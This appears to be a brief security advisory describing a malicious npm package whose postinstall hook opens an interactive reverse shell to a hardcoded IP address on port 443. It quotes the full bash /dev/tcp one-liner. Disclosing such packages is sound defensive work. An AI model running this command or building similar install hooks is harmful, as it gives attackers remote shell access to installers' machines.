The package's postinstall lifecycle script (`scripts.postinstall: node postinstall.js`) unconditionally invokes `/bin/bash` with an interactive reverse-shell payload at install time: `bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1'`. This connects stdin/stdout/stderr of an interactive bash session to a hardcoded remote host over TCP/443, handing full shell access on the installer's machine to whoever controls that endpoint. A marker file is also written under /tmp confirming execution. The manifest self-labels the package as a `Reverse shell payload for Strapi`. Any `npm install` of this package results in remote code execution and interactive shell access as the installing user.
